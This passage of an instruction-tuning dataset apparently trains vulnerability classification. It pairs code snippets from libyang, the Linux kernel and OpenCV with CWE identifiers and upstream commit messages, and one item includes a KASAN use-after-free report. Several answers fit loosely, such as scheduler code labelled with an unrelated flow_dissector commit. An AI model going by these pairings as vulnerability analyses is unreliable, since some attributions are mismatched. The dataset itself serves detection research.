}\n\n break;\n\n case 794:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"reference\", ext_name, s,\n 0, LY_STMT_REFERENCE)) {\n YYABORT;\n }\n }\n\n break;\n\n case 795:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"units\", ext_name, s,\n 0, LY_STMT_UNITS)) {\n YYABORT;\n }\n }\n\n break;\n\n case 796:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"base\", ext_name, s,\n 0, LY_STMT_BASE)) {\n YYABORT;\n }\n }\n\n break;\n\n case 797:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"contact\", ext_name, s,\n 0, LY_STMT_CONTACT)) {\n YYABORT;\n }\n }\n\n break;\n\n case 798:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"default\", ext_name, s,\n 0, LY_STMT_DEFAULT)) {\n YYABORT;\n }\n }\n\n break;\n\n case 799:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"error-message\", ext_name, s,\n 0, LY_STMT_ERRMSG)) {\n YYABORT;\n }\n }\n\n break;\n\n case 800:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"error-app-tag\", ext_name, s,\n 0, LY_STMT_ERRTAG)) {\n YYABORT;\n }\n }\n\n break;\n\n case 801:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"key\", ext_name, s,\n 0, LY_STMT_KEY)) {\n YYABORT;\n }\n }\n\n break;\n\n case 802:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"namespace\", ext_name, s,\n 0, LY_STMT_NAMESPACE)) {\n YYABORT;\n }\n }\n\n break;\n\n case 803:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"organization\", ext_name, s,\n 0, LY_STMT_ORGANIZATION)) {\n YYABORT;\n }\n }\n\n break;\n\n case 804:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"path\", ext_name, s,\n 0, LY_STMT_PATH)) {\n YYABORT;\n }\n }\n\n break;\n\n case 805:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"presence\", ext_name, s,\n 0, LY_STMT_PRESENCE)) {\n YYABORT;\n }\n }\n\n break;\n\n case 806:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"revision-date\", ext_name, s,\n 0, LY_STMT_REVISIONDATE)) {\n YYABORT;\n }\n }\n\n break;\n\n case 807:\n\n { struct lys_type *type = (yyvsp[-2].v);\n\n if (yang_fill_type(trg, type, (struct yang_type *)type->der, ext_instance, param->unres)) {\n yang_type_free(trg->ctx, type);\n YYABORT;\n }\n if (unres_schema_add_node(trg, param->unres, type, UNRES_TYPE_DER_EXT, NULL) == -1) {\n yang_type_free(trg->ctx, type);\n YYABORT;\n }\n actual = ext_instance;\n is_ext_instance = 1;\n }\n\n break;\n\n case 808:\n\n { struct lys_tpdf *tpdf = (yyvsp[-2].v);\n\n if (yang_fill_type(trg, &tpdf->type, (struct yang_type *)tpdf->type.der, tpdf, param->unres)) {\n yang_type_free(trg->ctx, &tpdf->type);\n }\n if (yang_check_ext_instance(trg, &tpdf->ext, tpdf->ext_size, tpdf, param->unres)) {\n YYABORT;\n }\n if (unres_schema_add_node(trg, param->unres, &tpdf->type, UNRES_TYPE_DER_TPDF, (struct lys_node *)ext_instance) == -1) {\n yang_type_free(trg->ctx, &tpdf->type);\n YYABORT;\n }\n /* check default value*/\n if (unres_schema_add_node(trg, param->unres, &tpdf->type, UNRES_TYPE_DFLT, (struct lys_node *)(&tpdf->dflt)) == -1) {\n YYABORT;\n }\n actual = ext_instance;\n is_ext_instance = 1;\n }\n\n break;\n\n case 809:\n\n { if (yang_fill_extcomplex_flags(ext_instance, ext_name, \"status\", LY_STMT_STATUS,\n (yyvsp[0].i), LYS_STATUS_MASK)) {\n YYABORT;\n }\n }\n\n break;\n\n case 810:\n\n { if (yang_fill_extcomplex_flags(ext_instance, ext_name, \"config\", LY_STMT_CONFIG,\n (yyvsp[0].i), LYS_CONFIG_MASK)) {\n YYABORT;\n }\n }\n\n break;\n\n case 811:\n\n { if (yang_fill_extcomplex_flags(ext_instance, ext_name, \"mandatory\", LY_STMT_MANDATORY,\n (yyvsp[0].i), LYS_MAND_MASK)) {\n YYABORT;\n }\n }\n\n break;\n\n case 812:\n\n { if ((yyvsp[-1].i) & LYS_ORDERED_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"ordered by\", ext_name);\n YYABORT;\n }\n if ((yyvsp[0].i) & LYS_USERORDERED) {\n if (yang_fill_extcomplex_flags(ext_instance, ext_name, \"ordered-by\", LY_STMT_ORDEREDBY,\n (yyvsp[0].i), LYS_USERORDERED)) {\n YYABORT;\n }\n }\n (yyvsp[-1].i) |= (yyvsp[0].i);\n (yyval.i) = (yyvsp[-1].i);\n }\n\n break;\n\n case 813:\n\n { if (yang_fill_extcomplex_uint8(ext_instance, ext_name, \"require-instance\",\n LY_STMT_REQINSTANCE, (yyvsp[0].i))) {\n YYABORT;\n }\n }\n\n break;\n\n case 814:\n\n { if (yang_fill_extcomplex_uint8(ext_instance, ext_name, \"modifier\", LY_STMT_MODIFIER, 0)) {\n YYABORT;\n }\n }\n\n break;\n\n case 815:\n\n { /* range check */\n if ((yyvsp[0].uint) < 1 || (yyvsp[0].uint) > 18) {\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Invalid value \\\"%d\\\" of \\\"%s\\\".\", (yyvsp[0].uint), \"fraction-digits\");\n YYABORT;\n }\n if (yang_fill_extcomplex_uint8(ext_instance, ext_name, \"fraction-digits\", LY_STMT_DIGITS, (yyvsp[0].uint))) {\n YYABORT;\n }\n }\n\n break;\n\n case 816:\n\n { uint32_t **val;\n\n val = (uint32_t **)yang_getplace_for_extcomplex_struct(ext_instance, NULL, ext_name,\n \"min-elements\", LY_STMT_MIN);\n if (!val) {\n YYABORT;\n }\n /* store the value */\n *val = malloc(sizeof(uint32_t));\n if (!*val) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n **val = (yyvsp[0].uint);\n }\n\n break;\n\n case 817:\n\n { uint32_t **val;\n\n val = (uint32_t **)yang_getplace_for_extcomplex_struct(ext_instance, NULL, ext_name,\n \"max-elements\", LY_STMT_MAX);\n if (!val) {\n YYABORT;\n }\n /* store the value */\n *val = malloc(sizeof(uint32_t));\n if (!*val) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n **val = (yyvsp[0].uint);\n }\n\n break;\n\n case 818:\n\n { uint32_t **val;\n\n val = (uint32_t **)yang_getplace_for_extcomplex_struct(ext_instance, NULL, ext_name,\n \"position\", LY_STMT_POSITION);\n if (!val) {\n YYABORT;\n }\n /* store the value */\n *val = malloc(sizeof(uint32_t));\n if (!*val) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n **val = (yyvsp[0].uint);\n }\n\n break;\n\n case 819:\n\n { int32_t **val;\n\n val = (int32_t **)yang_getplace_for_extcomplex_struct(ext_instance, NULL, ext_name,\n \"value\", LY_STMT_VALUE);\n if (!val) {\n YYABORT;\n }\n /* store the value */\n *val = malloc(sizeof(int32_t));\n if (!*val) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n **val = (yyvsp[0].i);\n }\n\n break;\n\n case 820:\n\n { struct lys_unique **unique;\n int rc;\n\n unique = (struct lys_unique **)yang_getplace_for_extcomplex_struct(ext_instance, NULL, ext_name,\n \"unique\", LY_STMT_UNIQUE);\n if (!unique) {\n YYABORT;\n }\n *unique = calloc(1, sizeof(struct lys_unique));\n if (!*unique) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n rc = yang_fill_unique(trg, (struct lys_node_list *)ext_instance, *unique, s, param->unres);\n free(s);\n s = NULL;\n if (rc) {\n YYABORT;\n }\n }\n\n break;\n\n case 821:\n\n { struct lys_iffeature *iffeature;\n\n iffeature = (yyvsp[-2].v);\n s = (char *)iffeature->features;\n iffeature->features = NULL;\n if (yang_fill_iffeature(trg, iffeature, ext_instance, s, param->unres, 0)) {\n YYABORT;\n }\n if (yang_check_ext_instance(trg, &iffeature->ext, iffeature->ext_size, iffeature, param->unres)) {\n YYABORT;\n }\n s = NULL;\n actual = ext_instance;\n }\n\n break;\n\n case 823:\n\n { if (yang_check_ext_instance(trg, &((struct lys_restr *)(yyvsp[-2].v))->ext, ((struct lys_restr *)(yyvsp[-2].v))->ext_size, (yyvsp[-2].v), param->unres)) {\n YYABORT;\n }\n actual = ext_instance;\n }\n\n break;\n\n case 824:\n\n { if (yang_check_ext_instance(trg, &(*(struct lys_when **)(yyvsp[-2].v))->ext, (*(struct lys_when **)(yyvsp[-2].v))->ext_size,\n *(struct lys_when **)(yyvsp[-2].v), param->unres)) {\n YYABORT;\n }\n actual = ext_instance;\n }\n\n break;\n\n case 825:\n\n { int i;\n\n for (i = 0; i < (yyvsp[-2].revisions).index; ++i) {\n if (!strcmp((yyvsp[-2].revisions).revision[i]->date, (yyvsp[-2].revisions).revision[(yyvsp[-2].revisions).index]->date)) {\n LOGWRN(trg->ctx, \"Module's revisions are not unique (%s).\", (yyvsp[-2].revisions).revision[i]->date);\n break;\n }\n }\n if (yang_check_ext_instance(trg, &(yyvsp[-2].revisions).revision[(yyvsp[-2].revisions).index]->ext, (yyvsp[-2].revisions).revision[(yyvsp[-2].revisions).index]->ext_size,\n &(yyvsp[-2].revisions).revision[(yyvsp[-2].revisions).index], param->unres)) {\n YYABORT;\n }\n actual = ext_instance;\n }\n\n break;\n\n case 826:\n\n { actual = ext_instance;\n is_ext_instance = 1;\n }\n\n break;\n\n\n\n default: break;\n }\n /* User semantic actions sometimes alter yychar, and that requires\n that yytoken be updated with the new translation. We take the\n approach of translating immediately before every use of yytoken.\n One alternative is translating here after every semantic action,\n but that translation would be missed if the semantic action invokes\n YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or\n if it invokes YYBACKUP. In the case of YYABORT or YYACCEPT, an\n incorrect destructor might then be invoked immediately. In the\n case of YYERROR or YYBACKUP, subsequent parser actions might lead\n to an incorrect destructor call or verbose syntax error message\n before the lookahead is translated. */\n YY_SYMBOL_PRINT (\"-> $$ =\", yyr1[yyn], &yyval, &yyloc);\n\n YYPOPSTACK (yylen);\n yylen = 0;\n YY_STACK_PRINT (yyss, yyssp);\n\n *++yyvsp = yyval;\n *++yylsp = yyloc;\n\n /* Now 'shift' the result of the reduction. Determine what state\n that goes to, based on the state we popped back to and the rule\n number reduced by. */\n {\n const int yylhs = yyr1[yyn] - YYNTOKENS;\n const int yyi = yypgoto[yylhs] + *yyssp;\n yystate = (0 <= yyi && yyi <= YYLAST && yycheck[yyi] == *yyssp\n ? yytable[yyi]\n : yydefgoto[yylhs]);\n }\n\n goto yynewstate;\n\n\n/*--------------------------------------.\n| yyerrlab -- here on detecting error. |\n`--------------------------------------*/\nyyerrlab:\n /* Make sure we have latest lookahead translation. See comments at\n user semantic actions for why this is necessary. */\n yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar);\n\n /* If not already recovering from an error, report this error. */\n if (!yyerrstatus)\n {\n ++yynerrs;\n#if ! YYERROR_VERBOSE\n yyerror (&yylloc, scanner, param, YY_(\"syntax error\"));\n#else\n# define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \\\n yyssp, yytoken)\n {\n char const *yymsgp = YY_(\"syntax error\");\n int yysyntax_error_status;\n yysyntax_error_status = YYSYNTAX_ERROR;\n if (yysyntax_error_status == 0)\n yymsgp = yymsg;\n else if (yysyntax_error_status == 1)\n {\n if (yymsg != yymsgbuf)\n YYSTACK_FREE (yymsg);\n yymsg = (char *) YYSTACK_ALLOC (yymsg_alloc);\n if (!yymsg)\n {\n yymsg = yymsgbuf;\n yymsg_alloc = sizeof yymsgbuf;\n yysyntax_error_status = 2;\n }\n else\n {\n yysyntax_error_status = YYSYNTAX_ERROR;\n yymsgp = yymsg;\n }\n }\n yyerror (&yylloc, scanner, param, yymsgp);\n if (yysyntax_error_status == 2)\n goto yyexhaustedlab;\n }\n# undef YYSYNTAX_ERROR\n#endif\n }\n\n yyerror_range[1] = yylloc;\n\n if (yyerrstatus == 3)\n {\n /* If just tried and failed to reuse lookahead token after an\n error, discard it. */\n\n if (yychar <= YYEOF)\n {\n /* Return failure if at end of input. */\n if (yychar == YYEOF)\n YYABORT;\n }\n else\n {\n yydestruct (\"Error: discarding\",\n yytoken, &yylval, &yylloc, scanner, param);\n yychar = YYEMPTY;\n }\n }\n\n /* Else will try to reuse lookahead token after shifting the error\n token. */\n goto yyerrlab1;\n\n\n/*---------------------------------------------------.\n| yyerrorlab -- error raised explicitly by YYERROR. |\n`---------------------------------------------------*/\nyyerrorlab:\n\n /* Pacify compilers like GCC when the user code never invokes\n YYERROR and the label yyerrorlab therefore never appears in user\n code. */\n if (/*CONSTCOND*/ 0)\n goto yyerrorlab;\n\n /* Do not reclaim the symbols of the rule whose action triggered\n this YYERROR. */\n YYPOPSTACK (yylen);\n yylen = 0;\n YY_STACK_PRINT (yyss, yyssp);\n yystate = *yyssp;\n goto yyerrlab1;\n\n\n/*-------------------------------------------------------------.\n| yyerrlab1 -- common code for both syntax error and YYERROR. |\n`-------------------------------------------------------------*/\nyyerrlab1:\n yyerrstatus = 3; /* Each real token shifted decrements this. */\n\n for (;;)\n {\n yyn = yypact[yystate];\n if (!yypact_value_is_default (yyn))\n {\n yyn += YYTERROR;\n if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR)\n {\n yyn = yytable[yyn];\n if (0 < yyn)\n break;\n }\n }\n\n /* Pop the current state because it cannot handle the error token. */\n if (yyssp == yyss)\n YYABORT;\n\n yyerror_range[1] = *yylsp;\n yydestruct (\"Error: popping\",\n yystos[yystate], yyvsp, yylsp, scanner, param);\n YYPOPSTACK (1);\n yystate = *yyssp;\n YY_STACK_PRINT (yyss, yyssp);\n }\n\n YY_IGNORE_MAYBE_UNINITIALIZED_BEGIN\n *++yyvsp = yylval;\n YY_IGNORE_MAYBE_UNINITIALIZED_END\n\n yyerror_range[2] = yylloc;\n /* Using YYLLOC is tempting, but would change the location of\n the lookahead. YYLOC is available though. */\n YYLLOC_DEFAULT (yyloc, yyerror_range, 2);\n *++yylsp = yyloc;\n\n /* Shift the error token. */\n YY_SYMBOL_PRINT (\"Shifting\", yystos[yyn], yyvsp, yylsp);\n\n yystate = yyn;\n goto yynewstate;\n\n\n/*-------------------------------------.\n| yyacceptlab -- YYACCEPT comes here. |\n`-------------------------------------*/\nyyacceptlab:\n yyresult = 0;\n goto yyreturn;\n\n/*-----------------------------------.\n| yyabortlab -- YYABORT comes here. |\n`-----------------------------------*/\nyyabortlab:\n yyresult = 1;\n goto yyreturn;\n\n#if !defined yyoverflow || YYERROR_VERBOSE\n/*-------------------------------------------------.\n| yyexhaustedlab -- memory exhaustion comes here. |\n`-------------------------------------------------*/\nyyexhaustedlab:\n yyerror (&yylloc, scanner, param, YY_(\"memory exhausted\"));\n yyresult = 2;\n /* Fall through. */\n#endif\n\nyyreturn:\n if (yychar != YYEMPTY)\n {\n /* Make sure we have latest lookahead translation. See comments at\n user semantic actions for why this is necessary. */\n yytoken = YYTRANSLATE (yychar);\n yydestruct (\"Cleanup: discarding lookahead\",\n yytoken, &yylval, &yylloc, scanner, param);\n }\n /* Do not reclaim the symbols of the rule whose action triggered\n this YYABORT or YYACCEPT. */\n YYPOPSTACK (yylen);\n YY_STACK_PRINT (yyss, yyssp);\n while (yyssp != yyss)\n {\n yydestruct (\"Cleanup: popping\",\n yystos[*yyssp], yyvsp, yylsp, scanner, param);\n YYPOPSTACK (1);\n }\n#ifndef yyoverflow\n if (yyss != yyssa)\n YYSTACK_FREE (yyss);\n#endif\n#if YYERROR_VERBOSE\n if (yymsg != yymsgbuf)\n YYSTACK_FREE (yymsg);\n#endif\n return yyresult; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-119'], 'message': 'yang parser BUGFIX allocate more patterns than currently needed\n\nFixes #740'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int __init cpia2_init(void)\n{\n\tLOG(\"%s v%s\\n\",\n\t ABOUT, CPIA_VERSION);\n\tcheck_parameters();\n\tcpia2_usb_init();\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'media: cpia2: Fix use-after-free in cpia2_exit\n\nSyzkaller report this:\n\nBUG: KASAN: use-after-free in sysfs_remove_file_ns+0x5f/0x70 fs/sysfs/file.c:468\nRead of size 8 at addr ffff8881f59a6b70 by task syz-executor.0/8363\n\nCPU: 0 PID: 8363 Comm: syz-executor.0 Not tainted 5.0.0-rc8+ #3\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014\nCall Trace:\n __dump_stack lib/dump_stack.c:77 [inline]\n dump_stack+0xfa/0x1ce lib/dump_stack.c:113\n print_address_description+0x65/0x270 mm/kasan/report.c:187\n kasan_report+0x149/0x18d mm/kasan/report.c:317\n sysfs_remove_file_ns+0x5f/0x70 fs/sysfs/file.c:468\n sysfs_remove_file include/linux/sysfs.h:519 [inline]\n driver_remove_file+0x40/0x50 drivers/base/driver.c:122\n usb_remove_newid_files drivers/usb/core/driver.c:212 [inline]\n usb_deregister+0x12a/0x3b0 drivers/usb/core/driver.c:1005\n cpia2_exit+0xa/0x16 [cpia2]\n __do_sys_delete_module kernel/module.c:1018 [inline]\n __se_sys_delete_module kernel/module.c:961 [inline]\n __x64_sys_delete_module+0x3dc/0x5e0 kernel/module.c:961\n do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290\n entry_SYSCALL_64_after_hwframe+0x49/0xbe\nRIP: 0033:0x462e99\nCode: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f86f3754c58 EFLAGS: 00000246 ORIG_RAX: 00000000000000b0\nRAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000020000300\nRBP: 0000000000000002 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 00007f86f37556bc\nR13: 00000000004bcca9 R14: 00000000006f6b48 R15: 00000000ffffffff\n\nAllocated by task 8363:\n set_track mm/kasan/common.c:85 [inline]\n __kasan_kmalloc.constprop.3+0xa0/0xd0 mm/kasan/common.c:495\n kmalloc include/linux/slab.h:545 [inline]\n kzalloc include/linux/slab.h:740 [inline]\n bus_add_driver+0xc0/0x610 drivers/base/bus.c:651\n driver_register+0x1bb/0x3f0 drivers/base/driver.c:170\n usb_register_driver+0x267/0x520 drivers/usb/core/driver.c:965\n 0xffffffffc1b4817c\n do_one_initcall+0xfa/0x5ca init/main.c:887\n do_init_module+0x204/0x5f6 kernel/module.c:3460\n load_module+0x66b2/0x8570 kernel/module.c:3808\n __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902\n do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290\n entry_SYSCALL_64_after_hwframe+0x49/0xbe\n\nFreed by task 8363:\n set_track mm/kasan/common.c:85 [inline]\n __kasan_slab_free+0x130/0x180 mm/kasan/common.c:457\n slab_free_hook mm/slub.c:1430 [inline]\n slab_free_freelist_hook mm/slub.c:1457 [inline]\n slab_free mm/slub.c:3005 [inline]\n kfree+0xe1/0x270 mm/slub.c:3957\n kobject_cleanup lib/kobject.c:662 [inline]\n kobject_release lib/kobject.c:691 [inline]\n kref_put include/linux/kref.h:67 [inline]\n kobject_put+0x146/0x240 lib/kobject.c:708\n bus_remove_driver+0x10e/0x220 drivers/base/bus.c:732\n driver_unregister+0x6c/0xa0 drivers/base/driver.c:197\n usb_register_driver+0x341/0x520 drivers/usb/core/driver.c:980\n 0xffffffffc1b4817c\n do_one_initcall+0xfa/0x5ca init/main.c:887\n do_init_module+0x204/0x5f6 kernel/module.c:3460\n load_module+0x66b2/0x8570 kernel/module.c:3808\n __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902\n do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290\n entry_SYSCALL_64_after_hwframe+0x49/0xbe\n\nThe buggy address belongs to the object at ffff8881f59a6b40\n which belongs to the cache kmalloc-256 of size 256\nThe buggy address is located 48 bytes inside of\n 256-byte region [ffff8881f59a6b40, ffff8881f59a6c40)\nThe buggy address belongs to the page:\npage:ffffea0007d66980 count:1 mapcount:0 mapping:ffff8881f6c02e00 index:0x0\nflags: 0x2fffc0000000200(slab)\nraw: 02fffc0000000200 dead000000000100 dead000000000200 ffff8881f6c02e00\nraw: 0000000000000000 00000000800c000c 00000001ffffffff 0000000000000000\npage dumped because: kasan: bad access detected\n\nMemory state around the buggy address:\n ffff8881f59a6a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ffff8881f59a6a80: 00 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc\n>ffff8881f59a6b00: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb\n ^\n ffff8881f59a6b80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ffff8881f59a6c00: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc\n\ncpia2_init does not check return value of cpia2_init, if it failed\nin usb_register_driver, there is already cleanup using driver_unregister.\nNo need call cpia2_usb_cleanup on module exit.\n\nReported-by: Hulk Robot \nSigned-off-by: YueHaibing \nSigned-off-by: Hans Verkuil \nSigned-off-by: Mauro Carvalho Chehab '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int i915_gem_context_open(struct drm_i915_private *i915,\n\t\t\t struct drm_file *file)\n{\n\tstruct drm_i915_file_private *file_priv = file->driver_priv;\n\tstruct i915_gem_context *ctx;\n\tint err;\n\n\tidr_init(&file_priv->context_idr);\n\n\tmutex_lock(&i915->drm.struct_mutex);\n\n\tctx = i915_gem_create_context(i915);\n\tif (IS_ERR(ctx)) {\n\t\terr = PTR_ERR(ctx);\n\t\tgoto err;\n\t}\n\n\terr = gem_context_register(ctx, file_priv);\n\tif (err)\n\t\tgoto err_ctx;\n\n\tGEM_BUG_ON(ctx->user_handle != DEFAULT_CONTEXT_HANDLE);\n\tGEM_BUG_ON(i915_gem_context_is_kernel(ctx));\n\n\tmutex_unlock(&i915->drm.struct_mutex);\n\n\treturn 0;\n\nerr_ctx:\n\tcontext_close(ctx);\nerr:\n\tmutex_unlock(&i915->drm.struct_mutex);\n\tidr_destroy(&file_priv->context_idr);\n\treturn PTR_ERR(ctx);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'drm/i915: Introduce a mutex for file_priv->context_idr\n\nDefine a mutex for the exclusive use of interacting with the per-file\ncontext-idr, that was previously guarded by struct_mutex. This allows us\nto reduce the coverage of struct_mutex, with a view to removing the last\nbits coordinating GEM context later. (In the short term, we avoid taking\nstruct_mutex while using the extended constructor functions, preventing\nsome nasty recursion.)\n\nv2: s/context_lock/context_idr_lock/\n\nSigned-off-by: Chris Wilson \nCc: Tvrtko Ursulin \nReviewed-by: Tvrtko Ursulin \nLink: https://patchwork.freedesktop.org/patch/msgid/20190321140711.11190-2-chris@chris-wilson.co.uk'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void sfq_perturbation(struct timer_list *t)\n{\n\tstruct sfq_sched_data *q = from_timer(q, t, perturb_timer);\n\tstruct Qdisc *sch = q->sch;\n\tspinlock_t *root_lock = qdisc_lock(qdisc_root_sleeping(sch));\n\n\tspin_lock(root_lock);\n\tq->perturbation = prandom_u32();\n\tif (!q->filter_list && q->tail)\n\t\tsfq_rehash(sch);\n\tspin_unlock(root_lock);\n\n\tif (q->perturb_period)\n\t\tmod_timer(&q->perturb_timer, jiffies + q->perturb_period);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-330'], 'message': 'net/flow_dissector: switch to siphash\n\nUDP IPv6 packets auto flowlabels are using a 32bit secret\n(static u32 hashrnd in net/core/flow_dissector.c) and\napply jhash() over fields known by the receivers.\n\nAttackers can easily infer the 32bit secret and use this information\nto identify a device and/or user, since this 32bit secret is only\nset at boot time.\n\nReally, using jhash() to generate cookies sent on the wire\nis a serious security concern.\n\nTrying to change the rol32(hash, 16) in ip6_make_flowlabel() would be\na dead end. Trying to periodically change the secret (like in sch_sfq.c)\ncould change paths taken in the network for long lived flows.\n\nLet's switch to siphash, as we did in commit df453700e8d8\n(\"inet: switch IP ID generator to siphash\")\n\nUsing a cryptographically strong pseudo random function will solve this\nprivacy issue and more generally remove other weak points in the stack.\n\nPacket schedulers using skb_get_hash_perturb() benefit from this change.\n\nFixes: b56774163f99 (\"ipv6: Enable auto flow labels by default\")\nFixes: 42240901f7c4 (\"ipv6: Implement different admin modes for automatic flow labels\")\nFixes: 67800f9b1f4e (\"ipv6: Call skb_get_hash_flowi6 to get skb->hash in ip6_make_flowlabel\")\nFixes: cb1ce2ef387b (\"ipv6: Implement automatic flow label generation on transmit\")\nSigned-off-by: Eric Dumazet \nReported-by: Jonathan Berger \nReported-by: Amit Klein \nReported-by: Benny Pinkas \nCc: Tom Herbert \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void sfb_init_perturbation(u32 slot, struct sfb_sched_data *q)\n{\n\tq->bins[slot].perturbation = prandom_u32();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-330'], 'message': 'net/flow_dissector: switch to siphash\n\nUDP IPv6 packets auto flowlabels are using a 32bit secret\n(static u32 hashrnd in net/core/flow_dissector.c) and\napply jhash() over fields known by the receivers.\n\nAttackers can easily infer the 32bit secret and use this information\nto identify a device and/or user, since this 32bit secret is only\nset at boot time.\n\nReally, using jhash() to generate cookies sent on the wire\nis a serious security concern.\n\nTrying to change the rol32(hash, 16) in ip6_make_flowlabel() would be\na dead end. Trying to periodically change the secret (like in sch_sfq.c)\ncould change paths taken in the network for long lived flows.\n\nLet's switch to siphash, as we did in commit df453700e8d8\n(\"inet: switch IP ID generator to siphash\")\n\nUsing a cryptographically strong pseudo random function will solve this\nprivacy issue and more generally remove other weak points in the stack.\n\nPacket schedulers using skb_get_hash_perturb() benefit from this change.\n\nFixes: b56774163f99 (\"ipv6: Enable auto flow labels by default\")\nFixes: 42240901f7c4 (\"ipv6: Implement different admin modes for automatic flow labels\")\nFixes: 67800f9b1f4e (\"ipv6: Call skb_get_hash_flowi6 to get skb->hash in ip6_make_flowlabel\")\nFixes: cb1ce2ef387b (\"ipv6: Implement automatic flow label generation on transmit\")\nSigned-off-by: Eric Dumazet \nReported-by: Jonathan Berger \nReported-by: Amit Klein \nReported-by: Benny Pinkas \nCc: Tom Herbert \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: char* parseKey( char* ptr, FileNode& map_node, FileNode& value_placeholder )\n {\n char c;\n char *endptr = ptr - 1, *saveptr;\n\n if( *ptr == '-' )\n CV_PARSE_ERROR_CPP( \"Key may not start with \\'-\\'\" );\n\n do c = *++endptr;\n while( cv_isprint(c) && c != ':' );\n\n if( c != ':' )\n CV_PARSE_ERROR_CPP( \"Missing \\':\\'\" );\n\n saveptr = endptr + 1;\n do c = *--endptr;\n while( c == ' ' );\n\n ++endptr;\n if( endptr == ptr )\n CV_PARSE_ERROR_CPP( \"An empty key\" );\n\n value_placeholder = fs->addNode(map_node, std::string(ptr, endptr - ptr), FileNode::NONE);\n ptr = saveptr;\n\n return ptr;\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'core(persistence): added null ptr checks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: char* parseTag( char* ptr, std::string& tag_name,\n std::string& type_name, int& tag_type )\n {\n if( *ptr == '\\0' )\n CV_PARSE_ERROR_CPP( \"Unexpected end of the stream\" );\n\n if( *ptr != '<' )\n CV_PARSE_ERROR_CPP( \"Tag should start with \\'<\\'\" );\n\n ptr++;\n CV_PERSISTENCE_CHECK_END_OF_BUFFER_BUG_CPP();\n\n if( cv_isalnum(*ptr) || *ptr == '_' )\n tag_type = CV_XML_OPENING_TAG;\n else if( *ptr == '/' )\n {\n tag_type = CV_XML_CLOSING_TAG;\n ptr++;\n }\n else if( *ptr == '?' )\n {\n tag_type = CV_XML_HEADER_TAG;\n ptr++;\n }\n else if( *ptr == '!' )\n {\n 